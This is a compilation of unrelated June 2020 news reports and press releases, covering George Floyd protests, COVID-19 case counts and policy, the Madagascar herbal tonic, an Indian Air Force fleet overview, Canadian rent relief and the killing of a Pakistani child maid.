After the walk, a smaller group of protestors left the walk and demonstrated outside of the Public Safety Building. One man was arrested during the smaller groups demonstration when he was disrupting traffic on New York Street.

Selwyn Jones was all over Memorial Park making sure all was going well and peaceful, said Shirley Garnette, Oglala Lakota, who marched alongside Jones and his son Shawn York. He seemed to really like us Indian people because we are really cool. We were calm and respectful.

Jones who lived in Rapid City as a small business owner for over 20 years and now owns a motel in Gettysburg, along with his wife Joey, said, George was the biggest gentle giant ever. He was a great athlete, and always had a smile on his face, and a good heart. All of this feels like youre waiting for someone to slap you, and say wake up!

Jones, who is originally from North Carolina, recalls his youth and the racism he experienced in the South. He says to look up pictures of lynchings and to take note of how white people pose in the photos.

Did you see the look in his eye when his knee was on my nephews neck? Jones asked. It looked like he was holding a trophy.

Jones said he declined to go to Minneapolis because of the violence that has erupted in the aftermath of his nephews murder.

Me going to Minneapolis with those people raging the way they are, does not do my cause any good.

Ive been dealing with this situation for 54 years, he said. Every time you see an injustice happen to a person of color, it breaks your heart.

Contact Anunkasan Waste at cahunpigiwin@gmail.com

Copyright permission Native Sun News Today

Join the Conversation
- The minister was recently quoted saying she would order sweets to be taken by young kids after drinking bitter COVID-19 herbal tonic

- President Andry Rajoelina appointed Higher Education Minister Elia Beatrice Assoumacou to take over from Rijasoa

- The herbal medicine developed by Malagasy Institute of Applied Research contains Artemisia- a plant on the Island used in the fight against malaria

Madagascar's Education minister who barely a week ago said she would spend KSh 234 million to purchase sweets for school kids has been sacked.

Rijasoa Andriamanana had explained part of the reason she was considering distributing sweets was solely because the country's COVID-19 herbal tonic was too bitter for kids.

READ ALSO: CS Magoha left disappointed after 3 Form 1 girls he helped acquire scholarship get pregnant

Madagascar President Andry Rajoelina drinking the herbal tea. Photo: Andry Rajoelina.

Source: Facebook

READ ALSO: Nairobi: Woman in fake KSh 37m Afya House tender arrested in another Interior Ministry scam

President Andry Rajoelina appointed Higher Education Minister Elia Beatrice Assoumacou to take over from Rijasoa in a statement announced on Thursday, June 4, according to BBC.

Rajoelina had launched the herbal tea, named COVID-Organics (CVO), on Monday, April 20, claiming the concoction was curing COVID-19 patients.

READ ALSO: Coronavirus: Magufuli asks police to arrest, question those distributing free masks

All trials and tests have been conducted and its effectiveness in reducing the elimination of symptoms have been proven for the treatment of patients with COVID-19," Rajoelina said.

The herbal medicine developed by Malagasy Institute of Applied Research contains Artemisia- a plant on the Island used in the fight against malaria.

However, the World Health Organisation said there was no proof of a cure for the disease, warning against the widespread use of untested remedies.

READ ALSO: Idhini yatolewa kupiga sachi mali ya Kidero ili kufahamu alikotoa utajiri wa KSh9B

The health body cautioned countries against adopting a product that had not been through clinical tests for safety and efficacy.

"We are advising the government of Madagascar to take this product through a clinical trial and we are prepared to collaborate with them," said Matshidiso Moeti, WHO's regional director.

At least, Tanzania, Equatorial Guinea, Central African Republic, the Republic of Congo and the Democratic Republic of Congo, Liberia, and Guinea Bissau have so far received their dose.

Countries across the world are coming up with their own vaccines, already some researchers at Oxford University in the UK are developing one and plan to test it in Africa.

The United States (US) on the other hand, approved the use of Remdesivir drug saying a study showed it interfered with the replication of some viruses, including the SARS-CoV-2 virus responsible for the current pandemic.

Do you have a hot story or scandal you would like us to publish, please reach us through news@tuko.co.ke or WhatsApp: 0732482690 and Telegram: Tuko news.

Why I beat my own mother- Lucy Nyawira | Tuko Talks | Tuko TV.

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NEW YORK (AP)  Gap is being sued for refusing to pay rent for stores temporarily closed during the coronavirus pandemic.

Mall owner Simon Property Group said in a lawsuit filed this week that the clothing retailer owes three months of rent, totaling $65.9 million. Gap Inc. has more than 390 stores at Indianapolis-based Simon's malls, including its namesake brand, Old Navy and Banana Republic.





. . .
BNI's Worldwide Visitor Week is June 14th-20th

CHARLOTTE, North Carolina, June 5, 2020 /PRNewswire/ -- BNI (Business Network International) is celebrating its Members' success in generating over $1 billion of new business in April alone. As the world's leading networking organization, BNI creates billions of dollars of opportunity for its Members each year to keep their businesses strong and growing.

To celebrate the amount of business generated in BNI, the organization is hosting Worldwide Visitor WeekJune 14th-20th and inviting growth-oriented businesses to join one of its BNI Online meetings compliments of BNI. BNI will also be showcasing its contemporary refreshed brand design with a dynamic new red BNI logo and multiple design elements that symbolize BNI Member growth. Visitors will also learn about the tools, training, and technology available to BNI Members that come with their membership at no extra cost.

"While many businesses have come to a complete stop, BNI Members around the world are helping each other. Without a doubt, every business out there should visit a BNI Online meeting during Worldwide Visitors Week," says Graham Weihmiller, BNI Chairman and CEO. "When businesses join the BNI network, they're instantly surrounded by a supportive an energetic group of like-minded businesses who are there to help every BNI business grow in any environment."

Year to date, BNI Members have generated more than $6 billion in business and passed nearly 5 million referrals. BNI is currently holding meetings online with its BNI Online platform, so it's easy to experience BNI from the convenience of your home or office. Business owners and entrepreneurs around the globe can easily visit a BNI Chapter online for free during Worldwide Visitor Week by going to BNI.com and getting an invitation.

About BNI

BNI is the world's largest and most successful business networking organization in the world. BNI has over 270,000 Members who attend one of over 9,500 weekly chapter meetings in more than 70 countries around the globe. BNI's proven business networking platform provides its Members the ideal environment, technology, training, and support to help them build strong businesses. BNI Online is an advanced online platform that helps Members connect in a structured virtual environment and has generated billions of dollars in business for BNI Members.

To see the new look and learn more about BNI, go to www.bni.com

Logo - https://mma.prnewswire.com/media/1177046/BNI_Logo.jpg
Midland County recorded no new cases for the fifth consecutive day, according to Thursday's state daily report. The county's pandemic total remains at 82 cases and eight deaths.

Test results from last weekend's two-day, drive-through testing clinic for the disease have not been received yet, according to Fred Yanoski, Midland County Public Health director/health officer.

"We are anxious to get the test results from the weekend clinic back, but unfortunately, we have not received any results yet," Yanoski said Thursday afternoon. "However, we are prepared to distribute the results rapidly upon receipt. I ask our residents to be patient and we will keep them informed as needed."

He said 2,435 people, which represents about 2% or 3% of Midland Countys population, were tested.

People shouldnt be alarmed if the case total jumps when results are released, he said. Since the pandemic began, about 5% of all tests for coronavirus taken so far in Midland County have come back positive.

Bay County on Thursday added four new cases and Saginaw County eight, bringing their totals to 326 cases and 24 deaths and 1,065 cases and 109 deaths, respectively. Gladwin County remained at 18 cases and one death and Isabella County at 78 cases and seven deaths.

The state added 206 new cases and 25 deaths, 13 of them from reviews of death records. Overall, Michigan is at 58,241 cases and 5,595 deaths.

The average death age is 75.4, according to the state website, mich.gov, with the deceased ranging in age from 5 to 107. The state lists 42% of the deceased as 80-plus and 27% age 70-79. State statistics show 53% of coronavirus deaths are male and 47% are female.

The state lists the total recovered at 38,099 cases, as of May 29, which represents COVID-19 confirmed individuals with an onset date on or prior to April 29, 2020, according to the state website, mich.gov. The numbers will be updated every Saturday.

The state lists the majority of races in positive cases as 31% Black/African American; 37% Caucasian and 16% unknown, and the top three races in deaths as 40% Black/African American; 51% Caucasian and 4% unknown.

The total positive cases are 47% men and 52% women.

Midland County Department of Public Health continues to encourage residents to take precautions to prevent the spread of COVID-19:

 Continue to practice social distancing as recommended by federal, state and local officials.

 Avoid touching your eyes, nose and mouth.

 Cover your cough or sneeze with a tissue, then throw the tissue in the trash.

 Disinfect commonly touched surfaces.

 Stay home when you are sick.

 Wash your hands often with soap and water for at least 20 seconds. If soap and water are not readily available, use an alcohol-based hand sanitizer with at least 60% alcohol.

If you think you've been exposed to COVID-19 and develop a fever and symptoms such as cough or difficulty breathing, call your health care provider for medical advice. If he/she isn't available, call MidMichigan Urgent Care in Midland at 989- 633-1350 or MidMichigan Medical Center's Emergency Department in Midland at 989-839-3100.

MidMichigan Health has a COVID-19 informational hotline with a reminder of CDC guidelines and recommendations. The hotline can be reached toll-free at 800-445-7356 or 989-794-7600. Michigan Department of Health and Human Services also has a hotline number for Michigan residents for questions about COVID-19. The number is 1-888-535-6136 and is available seven days a week from 8 a.m. to 5 p.m. Residents can also e-mail COVID19@michigan.gov. E-mails will be answered seven days a week between 8 a.m. and 5 p.m.

If you are feeling anxious, stressed, depressed and feel you need to talk to someone, reach out to Community Mental Health for Central Michigan by calling 800-317-0708.
Do we really think this is as good as we can be as a nation? Biden said. I dont think the vast majority of people think that. There are probably anywhere from 10 to 15 percent of the people out there that are just not very good people. But thats not who we are. The vast majority of people are decent. We have to appeal to that.
Shalicia Anderson joins a handful of prison rights activists and relatives of the incarcerated continue to protest outside the Metropolitan Detention Center on February 4, 2019.

Andrew Lichtenstein/Corbis via Getty Images

An inmate who was in custody at the Metropolitan Detention Center in Brooklyn, New York, died after being pepper-sprayed by staff, local outlets reported.

The inmate, Jamel Floyd, was reportedly being disruptive and thought to be a danger to himself and others before authorities pepper-sprayed him and removed him from his cell.

Floyd was unresponsive after being pepper-sprayed and was pronounced dead at a hospital shortly after.

Visit Insider's homepage for more stories.

An inmate who was in custody at the Metropolitan Detention Center in Brooklyn, New York, died after being pepper-sprayed by staff, local outlets reported.

Congresswoman Nydia Velazquez, of New York's seventh district, said in a tweet that Jamel Floyd, a 35-year-old African-American inmate, had allegedly barricaded himself inside his cell and broke the cell door window with a metal object.

Velazquez said her office would follow up on the incident and called for the prison to "maintain all security video footage of Mr. Floyd's unit for review."

Rep. Nydia Velazquez (@NydiaVelazquez) June 4, 2020

US Department of Justice officials confirmed the incident to PIX11, and a DOJ spokesperson told the local news outlet that the FBI and US Marshals Service were notified. On June 3, DOJ Inspector General Michael Horowitz released a statement saying the OIG would be investigating the incident.

According to PIX11, a spokesperson for the prison said Floyd "became increasingly disruptive," and added that there was a worry that he could harm himself or others. Floyd was then pepper-sprayed and removed from his cell.

By the time the medical staff responded, he was unresponsive. EMS continued life-saving measures, and Floyd was eventually taken to a hospital where he was pronounced dead.

Story continues

The federal prison garnered criticism last February after inmates spent more than a week without heat during freezing temperatures, Business Insider previously reported.

At the time the facility held "more than 1,600 inmates and has been subject to freezing temperatures brought on by the polar vortex that froze the northeast over the week," Business Insider wrote.

People passing by the prison saw inmates flashing lights and banging the windows of the facility, about a week after the issue was known.

With the recent death of the inmate, Velazquez called the prison unsafe.

"Whether it is a loss of heat in the dead of winter, inadequate protection against the spread of COVID-19, or this most recent incident, it has become evident this institution is too often unsafe," she wrote.

Director of Release Aging People in Prison, Jose Saldana, who spent 38 years in federal and state prisons and has been pepper-sprayed, told CNN he wants an independent investigation.

"Pepper spray, under normal circumstances, when it's used the way it's supposed to be used, is not supposed to be fatal," Saldana told CNN. "But when it's used excessively, it might trigger a heart attack or something else that may lead to someone dying. They had to have done something in addition to just giving a regular dose of pepper spray."

According to The New York Post, while his cause of death was not immediately released, there no indication that this death was related to COVID-19.

The first confirmed coronavirus case among inmates at federal prison occurred at this facility, the Associated Press previously reported.

Read the original article on Insider
Free movement without the need to go into quarantine or take a COVID-19 test applies to citizens and residents of all four countries.

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State borders between Slovakia, the Czech Republic, Austria and Slovakia are open as of 8:00 on Friday, June 5, for citizens and residents of these countries without limitations, announced PM Igor Matovic at Slovak-Hungarian border.

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Interior Minister Roman Mikulec at the border crossing Petrzalka-Berg reminded that the reopening of the borders does not mean the coronavirus pandemic has ended.

I would like to ask everyone who returns from the at-risk countries to be responsible for all of us so we do not spoil [the situation], Mikulec said, as quoted by the TASR newswire.

Matovic declared that the border controls in place for those arriving from non-EU countries will be an issue of the nearest negotiations with European countries.

Who can cross the border

All people with permanent or temporary residence or persons sojourning in Slovakia, Hungary, Austria and the Czech Republic can enter Slovakia through border crossings from the three named states without having to show a negative COVID-19 test result or go into quarantine, said Dasa Rackova of the Public Health Authority.

If these people do not have confirmation of their permanent or temporary residence, they will have to prove they sojourn in one of these four countries with at least two credible documents, she said, as quoted by the TASR newswire. These could be, for example, a health insurance card, a rental contract, a job contract, confirmation from an employer, an insurance contract or confirmation of payment of their utility bills.

Slovak railway company ZSSK announced the renewal of daily international transport at all border crossings with the Czech Republic on June 9. 48 long-distance trains and 45 regional trains will commute daily.

Private transport company Leo Express will renew the train connection between Prague and Kosice on June 15.

Private transport company RegioJet has started preparing for the renewal of the train and bus connection between the Czech Republic and Slovakia. If there are no complications, RegioJet plans to get back on railways on Sunday, June 7, said spokesperson of the company Ales Ondruj. He added that the sale of the tickets will start as soon as possible.

Company Slovak Lines is ready for the immediate restoration of international bus transport but provided no more details.

On Monday, June 8, the medical consilium will decide on the renewal of international flights, Foreign Affairs Deputy Minister Martin Klus reported on June 4.
Dubai, June 5 : The Indian Consulate in Dubai has appealed to workers seeking repatriation during the COVID-19 pandemic not to throng the mission for air tickets, a media report said on Friday.

Thousands of workers desperate to fly home have been queuing up at the premises of the mission in the past few days, Consul General of India in Dubai Vipul told Gulf News on Thursday evening while reiterating his appeal to community members to refrain from doing so.

However, a large number of workers continued to visit the consulate in the past few days, he said.

"Around 1,500 to 2,000 people have been visiting the consulate these days. The day after the Eid holidays, there were around 4,000 people." In a video message released on Monday evening, Vipul had appealed to the community, especially workers not to visit the mission for tickets.

He said the consulate was accepting forms from them though the mission had involved community members so that it acts in full honesty and transparency in picking up needy people from among those who had registered for repatriation through its website.

Vipul added that congregating on the premises of the Consulate was not right both from the perspective of law and social distancing that needs to followed in view of COVID-19.

He emphasised that the passengers for repatriation are selected from those who have registered online.

According to the consulate, around 6,000 passengers out of the 14,000 people repatriated from Dubai since May 7 have been workers in distress, reports Gulf News.

A couple of companies have flown their employees and their families on charter flights too.
Indian Air Force (IAF) operates seven fighter aircraft out of which Sukhoi Su-30MKI, Light Combat Aircraft Tejas, Mirage 2000, Mikoyan-Gurevich MiG-29, MiG-21 and SEPECAT Jaguar are in active service while the first Rafale is all set to land in the country soon. The IAF has almost 900 combat aircraft in it inventory while the total aeroplanes in active service with the force number over 1720.

The Russian Sukhoi Su-30MKIs form the backbone of IAF fighter fleet and the force flies 272 of the twin-seater, twin-engine multirole combat aircraft. There are 272 Su-30MKIs in service and some of them have been modified to carry the supersonic BrahMos air-launched cruise missiles.

LCA Tejas, the indigenous supersonic fighter, entered service first in 2016 and the second squadron with the advanced Mk-1 version of the jet in Final Operational Clearance (FOC) joining the force on May 27, 2020, at Sulur Air Force Station in Tamil Nadu's Coimbatore.

Tejas has been primarily developed to replace the MiG-21 BISONs. The indigenous jet, designed and developed by the Aeronautical Development Agency (ADA) and Hindustan Aeronautics Limited (HAL), joined IAF's 45 Squadron IAF 'Flying Daggers' and is currently based at the Sulur Air Force Station while the Mk-1 version was inducted into IAF's 18 Squadron 'Flying Bullets'.

The IAF currently operates about 20 Tejas jets in the two squadrons. "While orders of 40 Tejas aircraft had been placed with HAL in initial configurations, DAC paved the way for procurement of 83 of the more advanced Mk1A version of the aircraft from HAL by finalising the contractual and other issues. The proposal will now be placed for consideration of Cabinet Committee on Security (CCS). This procurement will be a major boost to 'Make in India' as the aircraft is indigenously designed, developed and manufactured with participation of several local vendors apart from HAL," the Defence Ministry stated on March 18, 2020.

MiG-21 BISON, the first version of which joined the IAF way back in 1964, was India's most potent fighter for several decades before technological advancements brought combat aircraft with better radars, avionics, and armament on the horizon. The single-engine, single-seater multirole fighter/ground attack aircraft has the distinction of shooting down the much advanced F-16 Fighting Falcon of the Pakistani Air Force (PAF) during the aerial skirmish over the skies of Jammu and Kashmir on February 27, 2020. IAF Wing Commander Abhinandan Varthaman chased and shot down a PAF F-16 which was trying to enter the Indian airspace.

Mirage 2000, the jet which bombed Jaish-e-Mohammad terror camps in Pakistan on February 26, 2019, following the suicide bombing of a Central Reserve Police Force (CRPF) convoy in Jammu and Kashmir's Pulwama, is one of the most versatile combat platforms in the IAF arsenal which can launch precision-guided munitions from a standoff range to hit targets deep inside the enemy territory. IAF operates 57 Mirage 2000 jets.

Another potent combat aircraft from Russia, the MiG-29 is a twin-engine, single-seater air superiority jet which has been upgraded to increase its fighting capabilities. There are 69 MiG-29s active in the IAF fleet.

IAF's SEPECAT Jaguar is a twin-engine, single-seater deep penetration strike aircraft and there are 139 such combat aircraft in service currently.

Rafale jets, 36 of which have been ordered for two IAF squadrons, will join active service soon. A group of IAF pilots, engineers and technicians are undergoing training on Rafale jets in France. While IAF No. 17 Squadron 'Golden Arrows' based at Ambala Air Force Station in Haryana will be the first to be equipped with the Rafale, No. 101 Squadron Falcons at Hasimara Air Force Station in West Bengal will welcome the French omnirole fighters later.
OTTAWASanjay Uppal wants to help. He really does.

But he says the federal government isnt making it easy.

Uppal, 47, describes himself as a small commercial landlord who co-owns storefront properties in Oakville and Cambridge. For more than a week, Uppal said he has been scrambling to gather all the required information and fill out all the paperwork so he can apply for the governments commercial rent subsidy on behalf of 11 business tenants who cant pay their rent.

Along the way, he said he was forced to restart the process several times and faced constant technical glitches with the online portal for the program. And while all the applications were submitted Wednesday  eight days after he started the process  Uppal said he still hasnt received a penny from the subsidy that Prime Minister Justin Trudeau announced in April but didnt open for applications until May 25.

By now, Uppal said he and his business partner Perminder Dhaliwal are owed about $130,000 in unpaid rent going back to April and are pulling from lines of credit to keep up with their mortgage payments.

Were trying to be good. Were trying to give everyone discounts, Uppal told the Star by phone Thursday.

Were listening to the government, were listening to the programs, were listening to Doug Ford, and we got nothing in return  nothing but debt ... They just made the program way too hard.

The federal Liberals have touted the Canada Emergency Commercial Rent Assistance program as a measure to help small and medium-sized businesses cover their rents during the nationwide lockdowns that have shuttered restaurants and shops for weeks this spring. If landlords agree to apply and forgo at least 25 per cent of the rent, the provincial and federal governments will cover half the rents for April, May and June through a forgivable loan from the Canada Mortgage and Housing Corporation.

More than a week after the program opened, however, CMHC received only 16,000 applications, federal Finance Minister Bill Morneaus office told the Star Wednesday. As of December 2017, there were almost 1.2 million small and medium-sized businesses in Canada, according to federal statistics.

The dearth of applications prompted Premier Doug Ford to scold landlords for not applying with their tenants for the program, while Morneaus office says Ottawa is encouraging them to do so.

On Thursday, Mayor John Tory added his voice to the fray, supporting Fords call to play hardball with landlords so they apply for the program.

One organization of large commercial landlords, however, says its not fair for politicians to lambaste property owners. Michael Brooks is the chief executive officer of RealPAC, told the Star that members of his organization have reported obstacles in the application process. There have been technical problems and long wait times when landlords have tried calling CMHC, while these property owners are also responsible for corralling all the paperwork for an application loaded with onerous obligations, he said.

Im a little pissed off with Doug Ford and others complaining that landlords arent applying, Brooks said, describing how one member of his organization has roughly 2,000 tenants.

The administrative burden of this is crazy, he said.

In an emailed response to questions from the Star on Thursday, CHMC spokesperson Leonard Catling said the online application portal is getting hit with very high demand and acknowledged many are still having technical issues and are frustrated with the call wait times, which can range between two and three hours.

To address these problems, Catling said the CMHC is increasing capacity at its call centres, working on glitches on its website and provided tips and tricks to help applicants resolve technical issues themselves.

We apologize and continue to work hard troubleshooting these challenges, he said. We know thousands of small business owners and commercial property owners are relying on this program to help them get through this pandemic.

For Uppal, the ordeal has been a frustrating experience that has left him feeling like the government promised a major rent relief program long before it had worked out how to deliver it.

Im just sitting here waiting, waiting, waiting and nothings coming, he said.

Theyve over-promised to tenants and theyve under-delivered to the landlords.

Read more about:
American private equity (PE) giant Silver Lake Partners and its co-investors will invest an additional Rs 4,546.80 crore in Jio Platforms, its second round of investment in the entity.

The private equity player had earlier on May 4 announced an investment of Rs 5,655.75 crore in the company.

Earlier today, Abu Dhabi-based sovereign fund Mubadala Investment Company invested Rs 9,093.6 crore in Jio Platforms in exchange for 1.85 percent, the sixth investment in the RIL digital unit in as many weeks.

Here are five key things about this deal:

>> Silver Lake will invest Rs 4,546.80 crore in Jio Platforms at an equity value of Rs 4.91 lakh crore and an enterprise value of Rs 5.16 lakh crore.

>> This investment by the PE firm will translate into a 2.08 percent equity stake in Jio Platforms on a fully diluted basis.

>> This brings the aggregate investment by Silver Lake and its co-investors in Jio Platforms to Rs 10,202.55 crore.

>> With this investment, Jio Platforms has raised a total of Rs 92,202.15 crore from leading technology investors including including Facebook, Silver Lake, Vista Equity Partners, General Atlantic, KKR and Mubadala in less than six weeks.

>> In terms of market cap, Jio Platforms, though unlisted, with its valuation numbers has become the fourth biggest company in India ahead of FMCG giant Hindustan Unilever and after RIL itself on top, TCS and HDFC Bank.

: Reliance Industries Ltd. is the sole beneficiary of Independent Media Trust which controls Network18 Media & Investments Ltd)
Hobokens first rally since George Floyds death is scheduled to begin at 1 p.m. at Maxwell Place Park and includes a march down Sinatra Drive to Pier A Park.

Sinatra Drive had been open for vehicles, but not is blocked at 12th Street.

A few businesses near the end of the march route, including Jos. A. Bank and Subway, have boarded up their windows as a precaution against vandalism and looting.

At 11:30 a.m., 90 minutes before the start of the demonstration, four police cars were along the route.

Pedestrian activity on the waterfront was minimal as an overcast sky hung over scattered runners and dog walkers.

The protest is organized by a group called Allies4Justice and is planned to end at 4 p.m.

Protests so far in Hudson County have been peaceful. There have been two in Jersey City and Kearny, and at least two through North Hudson communities. Elsewhere, like New York City, Philadelphia, Cleveland and Minneapolis, where Floyd was killed by a police officer, violence and looting has occurred.

Earlier this week a number of businesses along Washington Street were boarded up.
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GENEVA, June 4 (Reuters) - A Swiss foreign ministry spokesman declined to comment on Thursday on tweets by U.S. President Donald Trump saying that Michael White, has left Iranian airspace on a Swiss plane.

"I can't say anything about this," Sebastian Hueber, chief spokesman for the Swiss foreign ministry, told Reuters from the capital Bern.

White, a U.S. Navy veteran detained in Iran since 2018, was freed on Thursday, his family said in a statement, a rare instance of cooperation between Tehran and Washington despite their bitter relationship.

Jason Rezaian, a Washington Post reporter held for 544 days in Iran, was flown out on a Swiss plane in January 2016.

This January marked the 40th anniversary of Switzerland taking on a mandate of neutral "protecting power" representing U.S. diplomatic interests in Iran since Washington and Tehran cut ties shortly after the 1979 Islamic revolution. (Reporting by Stephanie Nebehay; Editing by Alex Richardson)
A ctor David Oyelowo has revealed that members of the Academy, which awards the Oscars, threatened not to vote for the film Selma because the cast wore I cant breathe T-shirts following American Eric Garners death in 2014.

Oyelowo said they told producers: We are not going to vote for that film because we do not think its their place to be doing that.

Garner died after he was put in a chokehold by police officers in New York, who suspected him of selling cigarettes from packs without tax stamps. He was heard saying, I cant breathe before he lost consciousness. Outrage over his death was reignited after the death of George Floyd in May.

Oyelowo, who spent his teenage years in Holloway, played Martin Luther King in Selma (2014), which is set in 1965 and follows marches calling for voting rights for African Americans.

He told a Screen International event last night that members of the academy called into the studio and our producers saying, how dare they do that, why are they stirring shit? after his T-shirts statement. He added I havent really talked about that before. Hollywood has a long way to go.

---

Mark Gatiss has a confession. A few years ago, I fell down a rabbit hole of trying to find murder mysteries with the most esoterically dreary titles, he tells The Stage. Theres a brilliantly named one called Vegetable Duck, which is a really good mystery. Ive also got He Could Not Have Slipped. But the crowning glory is They Rang Up The Police.

---

Close shave: Cate Blanchett (Photo: Franziska Krug/Getty Images for AUDI AG) / Getty Images for AUDI AG

Cate Blanchett has admitted she has had a run-in with a chainsaw. The film star, who is at her house in East Sussex, told Australias former prime minister Julia Gillard on Gillards podcast: I had a bit of a chainsaw accident yesterday, which sounds very, very exciting, but it wasnt  Apart from the little nick to the head. Chainsaw to the head  no biggie.

SW1A

Charlotte Leslie, ex-Tory MP, issues a warning from beyond the (electoral) grave, telling her former colleagues positions, ministerial posts (even the highest), status, appointments  all crumble away one day. Leslie adds: If losing my seat showed me anything, its dont invest in dust. Oof.

---

Trade expert Sally Jones with the interloper

Lord Cavendish greeting the cat

Remote working is still tangling with ancient institutions. One expert witness, interrupted at a Lords committee, begged: Im really, terribly sorry your lordships, please forgive me. Lord Cavendish of Furness intoned: Welcome, cat.

---

Penny Mordaunt is the latest MP to fall foul of jargon-heavy pronouncements, telling constituents that bike grants could be a real moment for Portsmouth if we can motivate this behavioural change. In plainer English  on yer bike.

Protesters, presenters and a hungry caterpillar

Daniel Lismore, a fixture of Londons alternative scene, kept up appearances as he read The Very Hungry Caterpillar for the Duchess of Yorks YouTube series. Meanwhile model Adwoa Aboah interviewed Janaya Khan of the International Black Lives Matter movement, presenter Maya Jama struck a pose, and Huw Edwards stepped out for a walk with a jowly bulldog.
An illegally employed 8-year-old girl from Rawalpindi, Pakistan was killed by her employers after letting their pet parrots escape. On May 31, the girl named Zohra, opened the cage of parrots to feed them but the parrots flew away.

Beaten to death

According to Rawalpindi police superintendent Zia Uddin, Zohra's employers punished her by beating her unconscious before leaving her at a local hospital. The girl died on June 1. The police report states the employers run a business that buys and sells animals.

The local hospital where Zohra was left called the police immediately, and the two suspects have been arrested. In the police investigation, it stated that Zohra was still alive when she was dropped at the hospital.

Doctors saw injuries on her hands, face, legs, and below her rib cage. The child also had wounds on her thighs, which means that she might have been sexually assaulted by the suspects. The police detained the suspects for three days while they investigate the incident and gather evidence.

The police also sent samples to the forensic team to examine, and they are now waiting for the results. The two suspects will be charged as soon as the investigation is complete.

Zohra was initially employed by the two suspects to babysit their child, and instead of wages, the two offered to pay for the education of the 8-year-old girl.

Also Read: Two Children Died in Car Crash After Driving Grandparent's Car

Child labor

According to a report by the Human Rights Commission of Pakistan or HRCP that was released in 2018, Pakistan has a massive problem with child labor. Although the country does not have a national legal minimum age for employment, the law still prohibits minors from working as domestic servants.

Unfortunately, Zohra's case is not unusual in the country. In June 2018, a couple from Islamabad was sentenced to three years in prison and a $3,000 fine for each after they kept a 10-year-old child in illegal confinement.

The child who worked for the couple as a maid had her hand burned. She was also hit with a ladle and she was threatened just because she lost their broom.

In another case, an 11-year-old domestic maid was clubbed and burned by her employers, according to HRCP.

In 2019, an 11-year-old girl named Neelum and a 13-year-old girl named Pari were found in horrendous conditions after it was discovered that they are living in thin and termite-infested mattresses and both are malnourished from eating only leftovers. Their employers from Karachi had been charged.

In January 2019, Uzma Bibi, a 16-year-old maid, was tortured and murdered by her employer from Lahore, Pakistan after eating a piece of meat. After her case went viral on Twitter, three people were arrested and charged for her murder.

Despite the constant public outrage over child abuse and child labor cases, human rights activists say that the problem is only getting worse. According to Ume Laila, the executive director of rights group HomeNet Pakistan, children are employed in the country with no protection. What is needed is awareness and actions towards change.

Child rights activist Fazela Gulrez said that there is no amount of support on social media that can translate to positive results in the country. The outrage and reaction of the public may be intense but it is only temporary. What needs to be done is to pass a law that will protect children.

Related Article: Two Women in Pakistan Murdered in 'Honor-Killings' After Leaked Video Shows Them Kissing a Man

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WASHINGTON, June 5, 2020 /PRNewswire/ -- The Board of Directors of the National Committee for Quality Assurance (NCQA) approved a sweeping set of adjustments to 40 of its widely-used Healthcare Effectiveness Data and Information Set (HEDIS) measures  in support of health plans, clinicians and patients who rely on telehealth services in record numbers as a result of the disruption brought on by the COVID-19 pandemic.

The changes will apply to the measurement of healthcare quality starting this year. They align with recent telehealth guidance from the Centers for Medicare & Medicaid Services and other federal and state regulators.

"You cannot drive quality improvement if your measures don't take into account what has quickly become the fastest-growing modality for providing healthcare services," said NCQA President Margaret E. O'Kane. "The timely approval by our Board of these changes signals that we understand the important role telehealth has played in making care available amid an unprecedented national lockdown and that it will continue to be an important part of the healthcare system going forward."

The 40 HEDIS measures that have new accommodations for telehealth are:

Prevention and Screening

Weight Assessment and Counseling for Nutrition and Physical Activity for Children/Adolescents

Breast Cancer Screening

Colorectal Cancer Screening

Care for Older Adults

Respiratory

Use of Spirometry Testing in the Assessment and Diagnosis of COPD

Asthma Medication Ratio

Cardiovascular Conditions

Controlling High Blood Pressure

Persistence of Beta-Blocker Treatment After a Heart Attack

Statin Therapy for Patients with Cardiovascular Disease

NEW MEASURE: Cardiac Rehabilitation

Diabetes

Comprehensive Diabetes Care

NEW MEASURE: Kidney Health Evaluation for Patients with Diabetes

Statin Therapy for Patients with Diabetes

Musculoskeletal Conditions

Disease-Modifying Anti-Rheumatic Drug Therapy for Rheumatoid Arthritis- Scheduled for Retirement

Osteoporosis Management in Women Who Had a Fracture

NEW MEASURE: Osteoporosis Screening in Older Women

Behavioral Health

Antidepressant Medication Management

Follow-up Care for Children Prescribed ADHD Medication

Follow-up After Hospitalization for Mental Illness

Follow-up After Emergency Department Visit for Mental Illness

Diabetes Screening for People with Schizophrenia or Bipolar Disorder Who Are Using Antipsychotic Medication

Cardiovascular Monitoring for People with Cardiovascular Disease and Schizophrenia

Diabetes Monitoring for People with Diabetes and Schizophrenia

Adherence to Antipsychotic Medications for Individuals with Schizophrenia

Care Coordination

Transitions of Care

Follow-up After Emergency Department Visit for People with Multiple High-Risk Chronic Conditions

Access/Availability of Care

Prenatal and Postpartum Care

Use of First-Line Psychosocial Care for Children and Adolescents on Antipsychotics

Utilization

Well-Child Visits in the First 30 Months of Life

Child and Adolescent Well Care Visits

Mental Health Utilization

Risk-Adjusted Utilization

Plan All-Cause Readmissions

Hospitalization Following Discharge from a Skilled Nursing Facility

Acute Hospital Utilization

Emergency Department Utilization

Hospitalization for Potentially Preventable Complications

Measures Reported Using Electronic Clinical Data Systems

Utilization of the PHQ-9 to Monitor Depression Symptoms for Adolescents and Adults

Depression Screening and Follow-up for Adolescents and Adults

Postpartum Depression Screening and Follow-up

Prenatal Depression Screening and Follow-up

Breast Cancer Screening

Colorectal Cancer Screening

Follow-up Care for Children Prescribed ADHD Medication

Updates to these 40 measures will be reflected in HEDIS Volume 2 Technical Specifications, to be published on July 1, 2020. Telehealth revisions will be outlined in each measure specification's "Summary of Changes" section.

Changes to all NCQA programs resulting from the pandemic are summarized at https://www.ncqa.org/covid.

NCQA will continue to evolve HEDIS and other products to reflect and reinforce new technology.

FOR MORE INFORMATION:

Andy Reynolds 202-955-3518

[email protected]

Matt Brock 202-955-1739

[email protected]

About NCQA

NCQA is a private, nonprofit organization dedicated to improving health care quality. NCQA accredits and certifies a wide range of health care organizations. It also recognizes clinicians and practices in key areas of performance. NCQA's Healthcare Effectiveness Data and Information Set (HEDIS) is the most widely used performance measurement tool in health care. NCQA's website (ncqa.org) contains information to help consumers, employers and others make more-informed health care choices. NCQA can be found online at ncqa.org, on Twitter @ncqa, on Facebook at facebook.com/NCQA.org and on LinkedIn at linkedin.com/company/ncqa.

Related Files

NCQA Telehealth:COVID-19.docx

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Related Links

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SOURCE National Committee for Quality Assurance (NCQA)
Cork businesses are raring to go with "real pep in their step" ahead of the latest easing of restrictions for retail on Monday.

